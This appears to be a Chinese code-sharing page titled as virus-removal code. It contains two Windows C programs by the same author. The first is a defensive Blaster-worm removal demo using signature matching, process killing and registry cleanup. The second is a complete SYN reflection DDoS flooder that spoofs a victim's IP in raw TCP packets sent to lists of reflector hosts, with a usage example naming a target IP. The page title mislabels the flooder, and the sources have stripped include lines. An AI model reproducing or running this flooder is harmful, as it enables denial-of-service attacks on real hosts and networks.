清除病毒代码

#define DEBUGMSG

#include
#include
#include
#include
#include
#include "Psapi.h"

#pragma comment (lib,"Psapi.lib")

#define erron GetLastError ()

#define FIVE 50
#define HIGH 255

TCHAR name[FIVE]={0};    //保存虫虫的文件名+路径
FILE *Gfp=NULL;          //输出到文件

BOOL ScanVXER (LPTSTR V_FileName,long V_FileOffset,int V_Length,TCHAR *V_Contents);
//匹配特征码函数

BOOL ScanFileVXER (LPTSTR FileName);
//文件遍历函数

BOOL ProcessVXER (void);
//枚举进程函数

BOOL KillProc (DWORD ProcessID);
//杀进程函数

BOOL EnablePrivilege(LPTSTR PrivilegeName);
//提升权限函数

BOOL RegDelVXER (void);
//删除注册表项函数

void Usage (LPCTSTR Parameter);
//帮助函数

int main (int argc, TCHAR *argv[])
{
   if (argc!=2)
   {
       Usage(argv[0]);
       return 0;
   }

   #ifdef DEBUGMSG
          Gfp=fopen("VXER.txt","a+");

          if (Gfp==NULL)
          {
              printf("Open /"VXER.txt/" fail/n");
              return 0;
          }

          fprintf(Gfp,"%s/n/n","[-------------------------File list-------------------------]");
   #endif

   if (strlen(argv[1])>10)
   {
       printf("Fine name no larger than /"10/"/n");
       return 0;
   }

   if (!(ScanFileVXER(argv[1])))
   {
       #ifdef DEBUGMSG
              printf("ScanFileVXER() GetLastError reports %d/n",erron);
       #endif
       fclose(Gfp);
       return 0;
   }
   
   if (!(ProcessVXER()))
   {
       #ifdef DEBUGMSG
              printf("ProcessesVXER() GetLastError reports %d/n",erron);
       #endif
       fclose(Gfp);
       return 0;
   }

   if (!(RegDelVXER()))
   {
       #ifdef DEBUGMSG
              printf("RegDelVXER() GetLastError reports %d/n",erron);
       #endif
       fclose(Gfp);    
       return 0;
   }

   fclose(Gfp);
   return 0;
}

BOOL ScanFileVXER (LPTSTR FileName)
{
    WIN32_FIND_DATA FindFileData;
    DWORD lpBufferLength=HIGH;
    TCHAR lpBuffer[HIGH]={0};
    TCHAR DirBuffer[HIGH]={0};
    HANDLE hFind=NULL;
    UINT count=0;

    long FileOffset=0x1784;  //偏移地址
    int FileLength=0x77;     //长度

    TCHAR Contents[]={
    0x49, 0x20, 0x6A, 0x75, 0x73, 0x74, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x73,
    0x61, 0x79, 0x20, 0x4C, 0x4F, 0x56, 0x45, 0x20, 0x59, 0x4F, 0x55, 0x20, 0x53, 0x41, 0x4E, 0x21,
    0x21, 0x20, 0x62, 0x69, 0x6C, 0x6C, 0x79, 0x20, 0x67, 0x61, 0x74, 0x65, 0x73, 0x20, 0x77, 0x68,
    0x79, 0x20, 0x64, 0x6F, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x74, 0x68,
    0x69, 0x73, 0x20, 0x70, 0x6F, 0x73, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x20, 0x3F, 0x20, 0x53, 0x74,
    0x6F, 0x70, 0x20, 0x6D, 0x61, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x6D, 0x6F, 0x6E, 0x65, 0x79, 0x20,
    0x61, 0x6E, 0x64, 0x20, 0x66, 0x69, 0x78, 0x20, 0x79, 0x6F, 0x75, 0x72, 0x20, 0x73, 0x6F, 0x66,
    0x74, 0x77, 0x61, 0x72, 0x65, 0x21, 0x21};
    //从冲击波中提取出来的,用做特征码

    //获取系统目录的完整路径
    if (GetSystemDirectory(DirBuffer,lpBufferLength)!=0)
    {
        if (SetCurrentDirectory(DirBuffer)!=0) //设置为当前目录
        {
            hFind=FindFirstFile(FileName,&FindFileData);  //查找文件
            if (hFind==INVALID_HANDLE_VALUE)
            {
                #ifdef DEBUGMSG
                       printf("FindFirstFile() GetLastError reports %d/n",erron);
                #endif
                if (hFind!=NULL)
                    FindClose(hFind);
                return FALSE;
            }
            else
            {
                count++;

                //获得文件的完整路径
                if (GetFullPathName(FindFileData.cFileName,lpBufferLength,lpBuffer,NULL)!=0)
                {
                    #ifdef DEBUGMSG
                           fprintf(Gfp,"File:/t/t%s/n",lpBuffer);
                    #else
                           printf("File:/t/t%s/n",lpBuffer);
                    #endif
                }
                else
                {
                    #ifdef DEBUGMSG
                           printf("GetFullPathName() GetLastError reports %d/n",erron);
                    #endif
                    if (hFind!=NULL)
                        FindClose(hFind);
                    return FALSE;
                }
            }
           
            //进行特征码匹配工作
            ScanVXER(FindFileData.cFileName,FileOffset,FileLength,Contents);
        }
    }

    while (FindNextFile(hFind,&FindFileData))  //继续查找文件
    {
           count++;

           //以"."和".."除外
           if (strcmp(".",FindFileData.cFileName)==0||strcmp("..",FindFileData.cFileName)==0)
           {
               #ifdef DEBUGMSG
                      printf("File no include /"./" and /"../"/n");
               #endif
               if (hFind!=NULL)
                   FindClose(hFind);

               fclose(Gfp);
               exit(0);
           }

           if (GetFullPathName(FindFileData.cFileName,lpBufferLength,lpBuffer,NULL)!=0)
           {
               #ifdef DEBUGMSG
                      fprintf(Gfp,"Next File:/t%s/n",lpBuffer);
               #else
                      printf("Next File:/t%s/n",lpBuffer);
               #endif
           }
           else
           {
               #ifdef DEBUGMSG
                      printf("GetFullPathName() GetLastError reports %d/n",erron);
               #endif
               if (hFind!=NULL)
                   FindClose(hFind);

               fclose(Gfp);
               exit(0);
           }
           
           ScanVXER(FindFileData.cFileName,FileOffset,FileLength,Contents);
       
    }

    fprintf(Gfp,"/nFile Total:%d/n/n",count);
    fprintf(Gfp,"%s/n/n","[-------------------------File end---------------------------]/n");

    printf("File Total:%d/n",count);  //打印出查找到的文件各数

    if (hFind!=NULL)
        FindClose(hFind);               //关闭搜索句柄
    return TRUE;
}

BOOL ScanVXER (
LPTSTR V_FileName,  //文件名
long V_FileOffset, //偏移地址
int V_Length,      //长度
TCHAR *V_Contents)  //具体内容
{
    TCHAR FileContents[HIGH]={0};
    int cmpreturn=0;
    FILE *fp=NULL;

    fp=fopen(V_FileName,"rb");  //以二进制只读方式打开

    if (fp==NULL)
    {
        #ifdef DEBUGMSG
               printf("fopen() File open FAIL/n");
        #endif
        fclose(fp);
        return FALSE;
    }

    fseek(fp,V_FileOffset,SEEK_SET);  //把文件指针指向特征码在文件的偏移地址处
    fread(FileContents,V_Length,1,fp);//读取长度为特征码长度的内容
    cmpreturn=memcmp(V_Contents,FileContents,V_Length);
    //进行特征码匹配。失败返回FALSE

    if (cmpreturn==0)
    {
        #ifdef DEBUGMSG
               printf("File match completely/n"); //打印文件匹配消息
        #endif
        strcpy(name,V_FileName);                  //将文件名保存在全局变量name中
        if (fp!=NULL)
            fclose(fp);
        return TRUE;
    }
    else
    {
        fclose(fp);
        return FALSE;
    }

}

BOOL ProcessVXER (void)
{
    DWORD lpidProcess[1024]={0};
    DWORD cbNeeded_1,cbNeeded_2;
    HANDLE hProc=NULL;
    HMODULE hMod[1024]={0};
    TCHAR ProcFile[MAX_PATH];
    TCHAR FileName[FIVE]={0};
    UINT Pcount=0;
    int i=0;

    EnablePrivilege(SE_DEBUG_NAME);   //提升调试进程权限

    fprintf(Gfp,"%s/n/n","[------------------------Process list--------------------------]");

    strcpy(FileName,"C://WINNT//system32//");
    strcat(FileName,name);//把文件名+路径复制到FileName变量中

    //枚举进程
    if (!(EnumProcesses(lpidProcess,sizeof(lpidProcess),&cbNeeded_1)))
    {
        #ifdef DEBUGMSG
               printf("EnumProcesses() GetLastError reports %d/n",erron);
        #endif
        if (hProc!=NULL)
            CloseHandle(hProc);
        return FALSE;
    }

    for (i=0;i<(int)cbNeeded_1/4;i++)
    {
         //打开找到的第一个进程
         hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,lpidProcess[i]);

         if (hProc)
         {
             //枚举进程模块
             if (EnumProcessModules(hProc,hMod,sizeof(hMod),&cbNeeded_2))
             {
                 //枚举进程模块文件名,包含全路径
                 if (GetModuleFileNameEx(hProc,hMod[0],ProcFile,sizeof(ProcFile)))
                 {
                     #ifdef DEBUGMSG
                            fprintf(Gfp,"[%5d]/t%s/n",lpidProcess[i],ProcFile);
                     #else
                            printf("[%5d]/t%s/n",lpidProcess[i],ProcFile); //输出进程
                     #endif
                     //可以考虑将其注释掉,这样就不会输出进程列表了
                     Pcount++;

                     //查找进程中是否包含FileName
                     if (strcmp(FileName,ProcFile)==0)
                     {
                         //如果包含,则杀掉。KillProc为自定义的杀进程函数
                         if (!(KillProc(lpidProcess[i])))
                         {
                             #ifdef DEBUGMSG
                                    printf("KillProc() GetLastError reports %d/n",erron);
                             #endif
                             if (hProc!=NULL)
                                 CloseHandle(hProc);

                             fclose(Gfp);
                             exit(0);
                         }

                         DeleteFile(FileName); //进程杀掉后,再将文件删除
                     }
                 }
             }
         }
    }

    if (hProc!=NULL)
        CloseHandle(hProc);                //关闭进程句柄

    fprintf(Gfp,"/nProcess total:%d/n/n",Pcount);
    fprintf(Gfp,"%s/n/n","[------------------------Process end----------------------------]");

    printf("/nProcess total:%d/n/n",Pcount);  //打印进程各数

    return TRUE;
}

BOOL KillProc (DWORD ProcessID)
{
    HANDLE hProc=NULL;

    //打开由ProcessVXER()传递的进程PID
    hProc=OpenProcess(PROCESS_ALL_ACCESS,FALSE,ProcessID);

    if (hProc!=NULL)
    {
        //终止进程
        if (!(TerminateProcess(hProc,0)))
        {
            #ifdef DEBUGMSG
                   printf("TerminateProcess() GetLastError reports %d/n",erron);
            #endif
            CloseHandle(hProc);
            return FALSE;
        }
    }
    else
    {
        #ifdef DEBUGMSG
               printf("OpenProcess() GetLastError reports %d/n",erron);
        #endif
        return FALSE;
    }

    if (hProc!=NULL)
        CloseHandle(hProc);

    return TRUE;
}

BOOL EnablePrivilege(LPTSTR PrivilegeName)
{
    HANDLE hProc=NULL,hToken=NULL;
    TOKEN_PRIVILEGES TP;
    hProc=GetCurrentProcess();  //打开当前进程的一个伪句柄

    //打开进程访问令牌,hToken表示新打开的访问令牌标识
    if(!OpenProcessToken(hProc,TOKEN_ADJUST_PRIVILEGES,&hToken))
    {
       #ifdef DEBUGMSG
              printf("OpenProcessToken() GetLastError reports %d/n",erron);
       #endif
       goto Close;
    }

    //提升权限
    if(!LookupPrivilegeValue(NULL,PrivilegeName,&TP.Privileges[0].Luid))
    {
        #ifdef DEBUGMSG
               printf("LookupPrivilegeValue() GetLastError reports %d/n",erron);
        #endif
        goto Close;
    }

    TP.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    TP.PrivilegeCount=1;

    //允许权限,主要根据TP这个结构
    if(!AdjustTokenPrivileges(hToken,FALSE,&TP,sizeof(TP),0,0))
    {
        #ifdef DEBUGMSG
               printf("AdjustTokenPrivileges() GetLastError reports %d/n",erron);
        #endif
        goto Close;
    }

    Close:

          if (hProc!=NULL)
              CloseHandle(hProc);

          if (hToken!=NULL)
              CloseHandle(hToken);

          return FALSE;

    if (hProc!=NULL)
        CloseHandle(hProc);

    if (hToken!=NULL)
        CloseHandle(hToken);

    return TRUE;
}

BOOL RegDelVXER (void)
{
   HKEY hkey;
   DWORD ret=0;

   //打开注册表的Run项
   ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                    "SOFTWARE//Microsoft//Windows//CurrentVersion//Run//",
                    0,
                    KEY_ALL_ACCESS,
                    &hkey);

   if (!(ret==ERROR_SUCCESS))
   {
       #ifdef DEBUGMSG
              printf("RegOpenKeyEx() GetLastError reports %d/n",erron);
       #endif
       return FALSE;
   }

   //删除键值windows auto update。
   ret=RegDeleteValue(hkey,"windows auto update");

   if (ret==ERROR_SUCCESS)
   {
       #ifdef DEBUGMSG
              printf("Success Delete/n");
       #endif
   }
   else
   {
       #ifdef DEBUGMSG
              printf("RegDeleteValue() GetLastError reports %d/n",erron);
       #endif
       RegCloseKey(hkey);
       //exit(0);
   }

   RegCloseKey(hkey);  //关闭打开的注册表项
   return TRUE;
}

void Usage (LPCTSTR Parameter)
{
    LPCTSTR Path="%SystemRoot%//system32//";

    fprintf(stderr,"============================================================================/n"
            "      杀毒软件的简单实现/n"
            "环境:Win2K Adv Server + Visual C++ 6.0/n"
            "作者:dahubaobao/n"
            "主页:www.RingZ.org/n"
            "OICQ:382690/n"
            "邮件:[email protected]/n"
            "声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!/n/n"
            "使用方法:/n"
            "%s 文件名。例如:%s msblast.exe or %s *.exe /n/n"
            "注意事项:/n"
            "本程序只是简单介绍杀毒软件的编写方法,所以有很多不完善的地方,包括:/n"
            "1,本程序是以冲击波蠕虫做的例子/n"
            "2,文件遍历只搜索了%s目录下的文件/n"
            "3,本程序不能查杀冲击波变种/n/n"
            "本程序只是用做代码交流,如有错误,还请多多包含!/n"
            "============================================================================"
            ,Parameter,Parameter,Parameter,Path);
}

#define DEBUGMSG

#include
#include
#include
#include
#include
#include

#pragma comment (lib,"ws2_32.lib")

#define erron GetLastError()
#define WSAerron WSAGetLastError()

typedef struct iphdr   //IP首部
{
   UCHAR Verlen;      //4位版本号+4位长度
   UCHAR Tos;         //8位服务类型TOS
   USHORT Total_len;  //16位总长度
   USHORT Idnet;      //16位标识
   USHORT Flags;      //16位标志
   UCHAR Ttl;         //8位TTL
   UCHAR Proto;       //8位协议
   USHORT Checksum;   //16位校验和
   ULONG SourceIP;    //32位源地址
   ULONG DestIP;      //32目的地址
}IPHDR,*PIPHDR,*LPIPHDR;

typedef struct tcphdr  //TCP首部
{
   USHORT Sport;      //16位源端口
   USHORT Dport;      //16位目的端口
   ULONG Seq;         //32位序列号
   ULONG Ack;         //32位识别号
   UCHAR Lenres;      //4位长度+6位保留字
   UCHAR Flags;       //6位标志
   USHORT Winsize;    //16位窗口值
   USHORT Checksum;   //16位校验和
   USHORT Urp;        //16位紧急数据偏移量
}TCPHDR,*PTCPHDR,*LPTCPHDR;

typedef struct psdhdr  //TCP伪首部
{
   ULONG Saddr;       //32位源地址
   ULONG Daddr;       //32位目的地址
   TCHAR mbz;         //没用
   TCHAR Protol;      //协议
   USHORT Tcplen;     //长度
}PSDHDR,*PPSDHDR,*LPPSDHDR;

typedef struct drdossyninfo   //参数结构
{
   UINT TimeOut;             //超时时间
   UINT IPListNum;           //IP列表计数器
   UINT PortListNum;         //端口列表计数器
   ULONG AttackSourceIP;     //目的IP,设置为源IP
   USHORT AttackSourcePort;  //目的端口,设置为源端口
   TCHAR DestIP[1986][16];   //存放IP列表,反射源,设置为目的IP
   TCHAR DestPort[1986][8];  //存放端口列表,反射源,设置为目的端口
}DRDOSSYNINFO,*PDRDOSSYNINFO,*LPDRDOSSYNINFO;

DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos);
//洪水攻击主函数

USHORT checksum(USHORT *buffer, int size);
//计算校验和

void Usage (LPCTSTR Parameter);
//帮助函数

int main (int argc, TCHAR *argv[])
{
   DRDOSSYNINFO DrDosSynInfo;     //参数结构
   HANDLE hThread[MAX_PATH];      //线程句柄
   UINT MaxThread=0,ThreadNum=0;  //线程最大值和线程计数器
   UINT DestNum=0;                //目的IP和端口的计数器
   TCHAR StdinIP[16]={0},StdinPort[8]={0};  //存放目的IP和端口
   TCHAR *Find=NULL;
   FILE *fp=NULL;

   if (argc<=2)
   {
       Usage(argv[0]);
       return 0;
   }

   //IP不能大于15
   if (strlen(argv[1])<=15)
       DrDosSynInfo.AttackSourceIP=ntohl(inet_addr(argv[1]));
   else
   {
       #ifdef DEBUGMSG
              printf("Internet address no larger than /"15/"/n");
       #endif
       return 0;
   }

   //端口不能小于0和大于65535
   if (atoi(argv[2])>0&&atoi(argv[2])<65535)
       DrDosSynInfo.AttackSourcePort=atoi(argv[2]);
   else
   {
       #ifdef DEBUGMSG
              printf("Port no less than /"0/" and larger than /"65535/"");
       #endif
       return 0;
   }

   //发送超时
   if (argc>3)
       DrDosSynInfo.TimeOut=atoi(argv[3]);
   else
       DrDosSynInfo.TimeOut=666;    //默认

   //线程最大值
   if (argc>4)
   {
       if (atoi(argv[4])<=sizeof (ULONG)*8)
           MaxThread=atoi(argv[4]);
       else
       {
           #ifdef DEBUGMSG
                  printf("Thread num no less than /"%d/"/n",sizeof (ULONG)*8);
           #endif
           return 0;
       }
   }
   else
       MaxThread=1;    //默认

   //参数太多了
   if (argc>5)
   {
       Usage(argv[0]);
       return 0;
   }

   #ifdef DEBUGMSG
          //输出参数的详细信息
          fprintf(stderr,"AttackIP:%s/n"
                  "AttackPort:%d/n"
                  "TimeOut:%d/n"
                  "MaxThread:%d/n",argv[1],DrDosSynInfo.AttackSourcePort
                  ,DrDosSynInfo.TimeOut,MaxThread);
   #endif

   fp=fopen("DestIP.txt","r");   //打开存放目的IP的文件

   if (fp==NULL)
   {
       #ifdef DEBUGMSG
              printf("Open /"DestIP.txt/" fail/n");
       #endif
       return 0;
   }

   //检测EOF
   while (!feof(fp))
   {
          //读取目的IP到StdinIP
          fgets(StdinIP,sizeof (StdinIP),fp);

          Find=strchr(StdinIP,'/n');   //查找/n
          if (Find)
              *Find='/0';              //替换为/0

          //拷贝到结构中
          strcpy(DrDosSynInfo.DestIP[DestNum],StdinIP);
          //printf("DestIP:%s/n",DrDosSynInfo.DestIP[DestNum]);   //输出目的IP
          DestNum++;     //计数器递增

          if (DestNum==1986)   //数组满了,跳出循环
          {
              printf("IP Array full/n");
              break;
          }
   }

   DrDosSynInfo.IPListNum=DestNum-1;              //总共读取了多少IP
   printf("/nIP List total num:/t%d/n",DestNum);  //输出总共读取了多少IP

   DestNum=0;     //重新置0,以便用于读取端口
   fclose(fp);    //关闭文件指针

   fp=fopen("DestPort.txt","r");    //打开存放目的端口的文件

   if (fp==NULL)
   {
       #ifdef DEBUGMSG
              printf("Open /"DestPort.txt/" fail/n");
       #endif
       return 0;
   }

   while (!feof(fp))
   {
          //读取目的端口到StdinPort
          fgets(StdinPort,sizeof (StdinPort),fp);

          Find=strchr(StdinPort,'/n');
          if (Find)
              *Find='/0';

          strcpy(DrDosSynInfo.DestPort[DestNum],StdinPort);
          //printf("DestPort:%s/n",DrDosSynInfo.DestPort[DestNum]);
          DestNum++;

          if (DestNum==1986)
          {
              printf("Port Array full/n");
              break;
          }
   }

   DrDosSynInfo.PortListNum=DestNum-1;               //总共读取了多少端口
   printf("Port List total num:/t%d/n",DestNum);     //输出总共读取了多少端口
   //现在结构中已经有了反射源,呵呵

   Sleep(500);
   printf("/nStarting....../n");

   //循环创建攻击线程
   for (ThreadNum=0;ThreadNum   {
        hThread[ThreadNum]=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)DrDosSynFlooder,
                                       (LPVOID)&DrDosSynInfo,0,NULL);

        if (hThread[ThreadNum]==NULL)
        {
            #ifdef DEBUGMSG
                   printf("CreateThread() GetLastError reports %d/n",erron);
            #endif
            goto Clean;
        }

        ThreadNum++;
        Sleep(500);     //等待线程初始化完毕
   }

   printf("Input ctrl+c for exit/n");   //CTRL+C退出

   WaitForMultipleObjects(ThreadNum,hThread,TRUE,INFINITE);

   Clean:

         if (hThread!=NULL)
             CloseHandle(hThread);   //释放线程句柄

         if (fp!=NULL)               //关闭文件指针
             fclose(fp);

         return 0;
}

DWORD WINAPI DrDosSynFlooder (LPVOID lpdrdos)
{
     LPDRDOSSYNINFO lpDrDosSynInfo=(LPDRDOSSYNINFO)lpdrdos;
     WSADATA wsadata;
     SOCKET sock=NULL;
     struct sockaddr_in sai;
     TCHAR DestHost[16]={0},DestPort[8]={0};   //目的IP和目的端口
     IPHDR ipHeader;                           //IP首部
     TCPHDR tcpHeader;                         //TCP首部
     PSDHDR psdHeader;                         //TCP伪首部
     BOOL Flag=TRUE;
     UINT IPNum=0,PortNum=0;                   //目的IP和目的端口计数器
     int DataSize=0,TimeOut=0;
     int dSyn=0,nRet=0;

     nRet=WSAStartup(MAKEWORD(2,2),&wsadata);    //初始化

     if (nRet)
     {
         #ifdef DEBUGMSG
                printf("WSAStartup() error: %d/n",nRet);
         #endif
         return 0;
     }

     sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);    //建立SOCKET

     if (sock==INVALID_SOCKET)
     {
         #ifdef DEBUGMSG
                printf("socket() GetLastError reports %d/n",WSAerron);
         #endif
         goto Clean;
     }

     //设置IP_HDRINCL,自己填充数据包
     nRet=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&Flag,sizeof (Flag));

     if (nRet==SOCKET_ERROR)
     {
         #ifdef DEBUGMSG
                printf("Set IP_HDRINCL/n");
                printf("setsockopt() GetLastError reports %d/n",WSAerron);
         #endif
         goto Clean;
     }

     //设置发送超时
     TimeOut=lpDrDosSynInfo->TimeOut;
     nRet=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof (TimeOut));

     if (nRet==SOCKET_ERROR)
     {
         #ifdef DEBUGMSG
                printf("Set SO_SNDTIMEO/n");
                printf("setsockopt() GetLastError reports %d/n",WSAerron);
         #endif          
         goto Clean;
     }

     //填充地址结构
     memset(&sai,0,sizeof (sai));
     sai.sin_family=AF_INET;
     sai.sin_port=htons(lpDrDosSynInfo->AttackSourcePort);
     sai.sin_addr.s_addr=htonl(lpDrDosSynInfo->AttackSourceIP);

     for (IPNum=0,PortNum=0;;IPNum++,PortNum++)
     {
          TCHAR SendBuf[256]={0};    //发送缓冲

          //从结构中提取出目的IP,并拷贝到DestHost中,作为反射源
          strcpy(DestHost,lpDrDosSynInfo->DestIP[IPNum]);
          //printf("%s/n",DestHost);

          //从结构中提取出目的端口,并拷贝到DestPort中,作为反射源
          strcpy(DestPort,lpDrDosSynInfo->DestPort[PortNum]);
          //printf("%s/n",DestPort);

          //填充IP首部
          ipHeader.Verlen=(4<<4 | sizeof (ipHeader)/sizeof (ULONG));
          ipHeader.Tos=0;
          ipHeader.Total_len=htons(sizeof (ipHeader)+sizeof (tcpHeader));
          ipHeader.Idnet=1;
          ipHeader.Flags=0;
          ipHeader.Ttl=128;
          ipHeader.Proto=IPPROTO_TCP;
          ipHeader.Checksum=0;
          ipHeader.SourceIP=htonl(lpDrDosSynInfo->AttackSourceIP);  //受害者IP
          ipHeader.DestIP=inet_addr(DestHost);                      //目的IP

          //填充TCP首部
          tcpHeader.Sport=htons(lpDrDosSynInfo->AttackSourcePort);  //受害者端口
          tcpHeader.Dport=htons(atoi(DestPort));                    //目的端口
          tcpHeader.Seq=1986;
          tcpHeader.Ack=1;
          tcpHeader.Lenres=(sizeof (tcpHeader)/4<<4|0);
          tcpHeader.Flags=2;
          tcpHeader.Winsize=1986;
          tcpHeader.Checksum=0;
          tcpHeader.Urp=0;

          //填充TCP伪首部
          psdHeader.Saddr=ipHeader.SourceIP;
          psdHeader.Daddr=ipHeader.DestIP;
          psdHeader.mbz=0;
          psdHeader.Protol=IPPROTO_TCP;
          psdHeader.Tcplen=htons(sizeof (tcpHeader));

          //计算TCP校验和
          memcpy(SendBuf,&psdHeader,sizeof (psdHeader));
          memcpy(SendBuf+sizeof (psdHeader),&tcpHeader,sizeof (tcpHeader));
          tcpHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (psdHeader)+sizeof (tcpHeader));

          ////计算IP校验和
          memcpy(SendBuf,&ipHeader,sizeof (ipHeader));
          memcpy(SendBuf+sizeof (ipHeader),&tcpHeader,sizeof (tcpHeader));
          memset(SendBuf+sizeof (ipHeader)+sizeof (tcpHeader),0,4);
          DataSize=sizeof (ipHeader)+sizeof (tcpHeader);   //数据包大小
          ipHeader.Checksum=checksum((USHORT *)SendBuf,sizeof (ipHeader)+sizeof (tcpHeader));

          memcpy(SendBuf,&ipHeader,sizeof (ipHeader));

          //发送出去
          dSyn=sendto(sock,SendBuf,DataSize,0,(struct sockaddr*)&sai,sizeof (sai));

          if (dSyn==SOCKET_ERROR)
          {
              #ifdef DEBUGMSG
                     printf("sendto() GetLastError reports %d/n",WSAerron);
              #endif
              goto Clean;
          }

          //IP读取到了末尾,重新置0
          if (IPNum==lpDrDosSynInfo->IPListNum)
              IPNum=0;

          //端口,其他同上
          if (PortNum==lpDrDosSynInfo->PortListNum)
              PortNum=0;
     }

     Clean:

          if (sock!=NULL)         //关闭SOCKET
              closesocket(sock);

          WSACleanup();
          return 1;
}

USHORT checksum(USHORT *buffer, int size)
{
      ULONG cksum=0;

      while(size >1)
      {
            cksum+=*buffer++;
            size-=sizeof(USHORT);
      }

      if(size)
         cksum+=*(UCHAR*)buffer;

      cksum=(cksum>>16)+(cksum&0xffff);
      cksum+=(cksum>>16);
      return (USHORT)(~cksum);
}

void Usage (LPCTSTR Parameter)
{
    fprintf(stderr,"============================================================================/n"
            "      dahubaobao洪水程序之---Syn反射洪水攻击/n"
            "环境:Win2K Adv Server + Visual C++ 6.0/n"
            "作者:dahubaobao/n"
            "主页:www.RingZ.org/n"
            "OICQ:382690/n"
            "邮件:[email protected]/n"
            "声明:本帖由环行区(RingZ)原创,转载请注明出处,谢谢!/n/n"
            "使用方法:/n"
            "%s 目标IP 目标端口 发送超时 线程最大值/n"
            "例:%s 218.68.19.86 80 888 10/n/n"
            "注意事项:/n"
            "程序的反射源由/"DestIP.txt/"和/"DestPort.txt/"提供/n"
            "用于保存反射源的数组大小为1986,所以不要超过这个大小/n"
            "本程序只是用做代码交流,如有错误,还请多多包含!/n"
            "============================================================================"
            ,Parameter,Parameter);
}


你可能感兴趣的:(清除病毒代码)